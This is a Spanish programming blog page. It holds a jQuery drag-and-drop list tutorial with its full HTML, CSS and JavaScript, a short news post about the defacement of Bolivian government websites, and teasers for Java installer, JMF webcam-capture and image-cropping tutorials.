#div_box{
 overflow: auto; 
 float:left; height: 160px; 
 width:220px;
 margin:10px 10px 0 10px;
 padding:5px 10px 5px 10px; 
 background: none repeat scroll 0% 0% rgb(255, 255, 255);
    border: 1px solid #E5E5E5;
}

ul {
 list-style: none;
 height:auto;
 width:200px; 
 margin: 0;
 padding: 0;
}

li a {
 text-decoration: none;
 height: 32px;
   voice-family: "\"}\""; 
   voice-family: inherit;
   height: 24px;
}
 
li a:link, li a:visited {
 color: #777;
 display: block;
 background: url(bg.gif);
 padding: 8px 0 0 20px;
}
 
li a:hover {
 color: #257EB7;
 background: url(bg.gif) 0 -32px;
 padding: 8px 0 0 25px;
}
 
li a:active {
 color: #fff;
 background: url(bg.gif) 0 -64px;
 padding: 8px 0 0 25px;
}

Se utiliza una imagen de fondo para los items de laas listas (Archivo: bg.gif)
Aplicando la hoja de estilos a la pagina web, tenemos:
Para agregar la interactivadad a la pagina se debe añadir el codigo JavaScript, el codigo completo de la pagina es:


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Drag and Drop</title>
<link rel="stylesheet" href="style.css">
<script language="javascript" src="jquery.js"></script>
<script language="javascript" src="jquery-ui-personalized-1.6rc6.min.js"></script>
<script language="javascript">
$(document).ready(function(){
 // lista 1
 $('li',$('#lista1')).draggable({
  helper: 'clone',  
 });
 $('#lista1').droppable({
  accept: '#lista2 li',
  drop: function(ev, ui) {
   $(ui.draggable).fadeOut(function() {
    $(ui.draggable).appendTo($('#lista1')).fadeIn();     
    });
   $(ui.draggable).fadeIn();
  }
 });
 // lista2 
 $('li',$('#lista2')).draggable({
  helper: 'clone', 
 });
 $('#lista2').droppable({
  accept: '#lista1 li',
  drop: function(ev, ui) {
   $(ui.draggable).fadeOut(function() {
    if(  $('#lista2 li').size()==3 )
     alert ('No se puede agregar mas de 3 nombres');
    else
     $(ui.draggable).appendTo($('#lista2')).fadeIn();     
    });
   $(ui.draggable).fadeIn();      
  }  
 }); 
 //Si cualquiera de los contenedores no tiene elementos, muestra un espacio vacio de color #E1F0FA
 $("#div_box").hover(function(){
  if( $('#lista1 li').size()==0){
    $("#lista1").css({ border: "1px solid #9D9D9D" , background:"#E1F0FA", height:"28px",  "border-radius":"3px 3px 3px 3px"});
   }   
   else{
    $("#lista1").css({ border: "none", height:"auto", background:"#fff" });
  }
  if( $('#lista2 li').size()==0){
    $("#lista2").css({ border: "1px solid #9D9D9D" , background:"#E1F0FA", height:"28px",  "border-radius":"3px 3px 3px 3px"});
   }   
   else{
    $("#lista2").css({ border: "none", height:"auto", background:"#fff" });
  }
 }); 

 // evento para el boton
 $("#boton").click(function () {  
  var salida = "  ALUMNOS SELECCIONADOS \n \n";
   $('#lista2 li').each(function () {
   var id_ =  $(this).attr('id');
   salida +="id: " +  id_ + " - Nombre: " + $('#'+id_).text() + "\n";
   });
   alert (salida);
 }); 
 
});
</script>
</head>
<body>
<div id="div_box">
<span>Lista de Alumnos</span>
<ul id="lista1">
 <li id="76"><a href="#">Emiliano Salido del Pozo</a></li>
    <li id="200"><a href="#">Rosa Malpartida</a></li>
    <li id="41"><a href="#">Rosa Melcacho</a></li>
    <li id="7"><a href="#">Miren Amiano</a></li>
</ul>
</div>
<div style="float:left; margin-top:80px;"><input name="boton" id="boton" type="button" value="Seleccionar" /></div>
<div id="div_box">
<span>Alumnos Seleccionados</span>
<ul id="lista2">
 <li id="11"><a href="#">Debora Vergara</a></li>
    <li id="12"><a href="#">Benito Camela Suavecito</a></li>
</ul>
</div>
</body>
</html>

El resultado:

continue reading

26/8/11

Hacker boliviano ataca paginas del gobierno

JAN29


Un hacker boliviano identificado con el alias de P1NCH05 atacó esta 25 de agosto la pagina de la Estatal Petrolera YPFB, el hacker que dice ser parte de Anonymous Bolivia dejo la web totalmemte desfigurada (ataque de Defacement) donde mostraba un mensaje de advertencia al gobierno.
“Pueblo boliviano, necesitamos tu apoyo, nos encontramos en un tiempo en el cual el Gobierno cree que nos puede manejar a su gusto y antojo, donde no se respeta la libertad de expresión, prueba de ello se detiene a un periodista por pensar diferente y vender su documento; los grandes cárteles de droga mundial ingresan a Bolivia, mientras la droga en Bolivia crece, el Gobierno quiere destruir el Territorio Indígena Parque Nacional Isiboro Sécure (TIPNIS), para construir una carretera”

Asi mismo hizo un llamado al pueblo para unirse a la lucha contra el el gobierno.

Pero esta no es la unica pagina que el hacker ataca, otras paginas tambien oficialistas fueron blanco de ataque como la website del "defensor del pueblo", donde tambien dejo firma

La cadena televisiva ATB que hace poco fue comprada por empresarios venezolanos y que poco a poco esta dando un giro a la izquierda, tambien fue blanco de ataque del hacker

Al parecer la guerra cibernetica se lleva muy silenciosamente en Bolivia, y no es tomada muy en serio por el gobierno, pero poco a poco esta causando molestias, y los dirigentes de palacio ya han advertido con tomar represalias...


continuara....

continue reading

8/8/11

Crear instaladores para programas hechos en Java

JAN29

Con este post doy inicio a una serie (espero no muy larga) de tutoriales para la creacion de instaladores para programas hechos en Java con/sin base de datos, se hara uso de varios programas externos a java asi como diferentes lenguajes de programacion para ayudarnos en la creacion de los instaladores, sin más dejo el primer videotutorial.

1. Creacion de un instalador simple sin base de datos con WinRar

Se requiere:
  • Programa Winrar
  • Resources Hacker
  • Editor de imagenes (Photoshop,Gimp,etc)
  • Editor de iconos o si ya los tienes un icono

Continuando con esta serie de tutoriales para la creacion de instaladores java, algo que muchos preguntan es en la creacion de ejecutables java, pues bien, nosotros no haremos eso, no porque sea imposible o no se pueda hacer, sino porque es un trabajo complejo y que creo que no va con la esencia misma del lenguaje Java, pero lo que si haremos es en crear ejecutables para los programas java, mas propiamente para los archivos ejecutables *.JAR, estos exes más  conocidos como lanzadores (launch), permiten ejecutar al cliente  los programas java como cualquier otro programa de windows, ya que de eso se trata, de facilitarle la vida al usuario final. En internet puede encontrase cientos de estos lanzadores, entre los mas conocidos y gratuitos tenemos JavaExe, launch4J, pero como programadores, tambien es necesario saber crear uno mismo sus herramientas, en esta ocasion, utilizaremos VB.NET de Visual Studio para crear nuestro lanzador. sin mas charla, los tutoriales.

2. Crear EXE para Java con JavaExe

 3. Crear ejecutables con Launch4J

4. Crear lanzadores java con Visual Basic .NET

Ahora la cosa se va poniendo buena, en el siguiente tutorial crearemos un instalador bastante profesional para programas java con Visual Studio, aun no implementamos la base de datos, paso a pasito ;)
5. Crear instalador Java con Visual Studio

6. Crear CD Autoejecutable con Java para Java


Pues si señores, continuando de tiempito, estaba ocupado :) sepan disculpar, ahora dejo a consideraciones de la comunidad de programadores un proyecto para crear un CD autoarrancable o autoejecutable, como quieran llamarlo, al estilo de AutoPlayCD pero todo escrito en Java, ademas con esta aplicacion, tambien se puede instalar MySQL y restaurar la base de datos, pero antes realiza una busqueda en el sistema para verificar si se tiene o no instalado este programa, esta creo es la opcion que mas pedian, asi que sin más dejo un video de lo que construiremos

Esta página se ira actualizando a medida que se desarrollen los tutoriales
[Ultima actualización 03/09/2011]

continue reading

22/7/11

JMF: Captura de video con filtros

JAN29


Dando respuesta a la pregunta de un seguidor del blog, ahora aprenderemos la creacion/implementacion de un proyecto en Java Media Framework  para la captura-filtrado del video de una webcam.

Si se tiene alguna duda en seguir los pasos del tutorial, ya sabes que en el blog/web existe bastante informacion sobre el uso dela libreria de JMF.

¿Que necesitamos?

  • La Libreria de Java Media Framework
  • IDE netbeans
  • Webcam

¿Que obtendremos?

 Quieres saber mas

continue reading

13/7/11

Recortar imagen con java-netbeans

JAN29

En esta oportunidad les dejo el codigo para recortar pedazos de imagenes desde java/netbeans, como siempre todo de forma visual y con codigo recontra comentado

El siguiente video creo que dice todo y  muestra claramente cual es nuestro objetivo, espero les sirva


La imagen utilizada es la de una linda señorita cosplay :)
Y nuestro resultado

¿Quieres saber más?
Quieres saber mas

continue reading

Post recomendado